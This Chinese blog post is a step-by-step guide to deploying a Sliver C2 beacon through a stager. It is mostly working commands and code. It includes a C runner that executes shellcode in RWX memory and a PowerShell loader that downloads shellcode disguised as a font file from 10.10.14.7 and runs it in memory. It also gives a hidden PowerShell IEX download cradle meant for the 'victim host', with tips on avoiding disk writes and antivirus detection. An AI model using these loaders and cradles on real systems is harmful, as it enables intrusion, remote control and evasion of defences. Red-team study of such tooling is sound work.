首页 > 其他分享 >Sliver C2 Beacon Stager上线

Sliver C2 Beacon Stager上线

时间:2024-07-01 15:47:10浏览次数:15  
标签:IntPtr -- Beacon C2 Stager shellcode Sliver

目录

Sliver C2简介

Sliver 是一个开源的跨平台对手仿真/红队框架。它的设计具有可扩展性,可供各种规模的组织用于执行安全测试。
Sliver 可与 Cobalt Strike 或 Metasploit 相媲美。
Stager 在Sliver C2中指分阶段执行器,其核心作用在于从C2服务器上下载Sliver Shellcode,再上线Sliver C2。使用到分阶段执行器优势有二,其一为上传的文件较小,相较于Sliver原生Implant有10+MB,Stager一般只有几KB大小,另一个就是通过Stager传输的Sliver Shellcode直接运行在内存中,避免文件落地,静态查杀。

运行

Sliver C2一般不使用多用户模式的话,直接运行Server即可。
一般不使用多用户模式,直接运行Server版本即可。
Sliver-Server
image

Stager

由于直接生成的木马体积太大,传输上有时有问题,并且很容易被侦测,一般都使用stager,先上传小马,由小马自行与Sliver服务器通信下载大马上线。

Stager 工作方式是基于一个配置文件(profiles),其中记载了一个 Implant 的所有定义及配置信息,该配置文件通过profiles new 命令创建。

  1. 生成Profile并开启mtls监听
    generate beacon --mtls 10.10.14.7 --os windows --arch amd64 --format shellcode --seconds 5 --jitter 3
    image
    --seconds beacon与服务器的通信时间间隔
    --jitter beacon与服务器通信时间间隔随机变更加减时间
  2. 监听mtls
    mtls -l 8888
  3. 创建开启分阶段监听器,tcp,http都可以, 不同的监听器,上线时使用不同的payload
    stage-listener --url tcp://10.10.14.7:8443 --profile win64
    stage-listener --url http://10.10.14.7:8088 --profile win64
    image
  4. 生成一阶段木马,可以使用自带的generate或者使用msfvenom,格式可自行决定上线方式,这里分两种,一种使用C,编译成exe后,上传主机,上线,另一种,使用powershell
    • C语言上线:
      • generate stager -L 10.10.14.7 -l 8443 -f c
      • 替换生成的C语言代码
      #include "windows.h"
      
      int main()
      {
      	unsigned char shellcode[] =
      	"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
      	"\x52\x51\x48\x31\xd2\x56\x65\x48\x8b\x52\x60\x48\x8b\x52"
         ....
      
      	void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      	memcpy(exec, shellcode, sizeof shellcode);
      	((void(*)())exec)();
      
      	return 0;
      }
      
      • 编译
        x86_64-w64-mingw32-gcc -o runner.exe 1.c
      • 上传靶机,运行上线
        image
    • Powershell 上线:
      $Win32 = @"
      using System;
      using System.Runtime.InteropServices;
      public class Win32 {
      [DllImport("kernel32")]
      public static extern IntPtr VirtualAlloc(IntPtr lpAddress,
      	uint dwSize,
      	uint flAllocationType,
      	uint flProtect);
      [DllImport("kernel32", CharSet=CharSet.Ansi)]
      public static extern IntPtr CreateThread(
      	IntPtr lpThreadAttributes,
      	uint dwStackSize,
      	IntPtr lpStartAddress,
      	IntPtr lpParameter,
      	uint dwCreationFlags,
      	IntPtr lpThreadId);
      [DllImport("kernel32.dll", SetLastError=true)]
      public static extern UInt32 WaitForSingleObject(
      	IntPtr hHandle,
      	UInt32 dwMilliseconds);
      }
      "@
      Add-Type $Win32
      
      $shellcode = (New-Object System.Net.WebCLient).DownloadData("http://10.10.14.7:8088/fontawesome.woff") # 修改地址及端口即可,文件名无所谓
      if ($shellcode -eq $null) {Exit};
      $size = $shellcode.Length
      
      [IntPtr]$addr = [Win32]::VirtualAlloc(0,$size,0x1000,0x40);
      [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $addr, $size)
      $thandle=[Win32]::CreateThread(0,0,$addr,0,0,0);
      [Win32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
      
      • python 运行http服务,以让受害主机能下载ps1文件并运行
        python -m http.server 4000
      • 受害主机运行powershell命令上线
        c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe -nop -w hidden IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7:4000/stager.ps1')
        image

标签:IntPtr,--,Beacon,C2,Stager,shellcode,Sliver
From: https://www.cnblogs.com/gynaecologist/p/18278123

相关文章

  • [题解]CF1732C2 Sheikh (Hard Version)
    思路首先证明一下当序列扩大时答案一定不劣。考虑\(f(l,r)\)到\(f(l,r+1)\)的变化。\[\begin{aligned}f(l,r)-f(l,r+1)&=s_{l,r}-xs_{l,r}-s_{l,r+1}+xs_{l,r+1}\\&=xs_{l,r+1}-xs_{l,r}-a_{r+1}\\&......
  • 'MMDetection3D'+'waymo-open-dataset-tf-2-6-0'+'pytorc2.3.1+cu121'安装
    安装pytorc2.3.1+cu121步骤1.创建并激活一个conda环境condacreate-nmmdpython=3.8-ycondaactivatemmd步骤2.基于PyTorch官方说明安装PyTorch,例如:pip3installtorchtorchvisiontorchaudio--index-urlhttps://download.pytorch.org/whl/cu121步骤3.验......
  • C29 在GEE中扩展运算规模
    当EarthEngine用户从教程转向开发自己的处理脚本时,他们会遇到可怕的错误消息,“计算超时”或“用户内存限制超出”。本节主要内容:了解GEE资源使用的限制条件。熟悉扩展地球引擎操作的多种策略。管理大型项目和多阶段工作流程。识别何时使用PythonAPI可能有利于执行大量任......
  • notes for llm-universe C2
    基本概念PromptPrompt最初是NLP(自然语言处理)研究者为下游任务设计出来的一种任务专属的输入模板,类似于一种任务(例如:分类,聚类等)会对应一种Prompt我们每一次访问大模型的输入为一个Prompt,而大模型给我们的返回结果则被称为Completion。TemperatureLLM生成是具有随......
  • 价格减免(Lc2288)——模拟
    句子 是由若干个单词组成的字符串,单词之间用单个空格分隔,其中每个单词可以包含数字、小写字母、和美元符号 '$' 。如果单词的形式为美元符号后跟着一个非负实数,那么这个单词就表示一个 价格 。例如 "$100"、"$23" 和 "$6" 表示价格,而 "100"、"$" 和 "$1e5 不是。......
  • 红队内网攻防渗透:内网渗透之内网对抗:隧道技术篇&防火墙组策略&FRP&NPS&Chisel&Socks代
    红队内网攻防渗透1.内网隧道技术1.1Frp内网穿透C2上线1.1.1双网内网穿透C2上线1.1.1.1服务端配置1.1.1.2客户端配置1.1.2内网穿透信息收集1.1.2.1、建立Socks节点(入站没限制采用)1.1.2.2主动转发数据(出站没限制采用)1.2Nps内网穿透工具1......
  • 美丽下标对的数目(Lc2748)——计数
    给你一个下标从 0 开始的整数数组 nums 。如果下标对 i、j 满足 0≤i<j<nums.length ,如果 nums[i] 的 第一个数字 和 nums[j] 的 最后一个数字 互质 ,则认为 nums[i] 和 nums[j] 是一组 美丽下标对 。返回 nums 中 美丽下标对 的总数目。对......
  • [题解]AT_abc267_f [ABC267F] Exactly K Steps
    大家好,我是毒瘤,喜欢用玄学算法过题。发现题解区没有这个做法,于是来发一篇。思路不难发现如果一个点对\((u,v)\)的距离为\(d\),那么在这棵树以\(u\)为根时,\(v\)的深度为\(d\)。于是考虑换根DP。首先思考如何计算答案。显然我们可以将查询离线下来,然后当换根到以\(u\)......
  • [题解]AT_abc264_e [ABC264E] Blackout 2
    思路一道很经典的题,运用了一种叫「时光倒流」的技巧。「时光倒流」本质上就是将所有删边(或删点)的操作,通过倒序循环求值的方式转化为加边(或加点)。「时光倒流」具体实现通常伴随着并查集出现,维护一个连通块的某种性质。首先,我们需要将所有从始至终没有删过的边加入并查集。在这......
  • [题解]AT_abc263_d [ABC263D] Left Right Operation
    思路首先,不难发现最终的序列一定是形如下面的序列:\[l,\dots,l,a_i,a_{i+1},\dots,a_{i+j},r,\dotsr\]那么,我们就可以将其分为三段,每段都单独维护。首先,对于第一段,我们可以枚举出最后一个\(l\)的位置\(x\),那么和为\(x\timesl\)。对于第二段显然可以用前......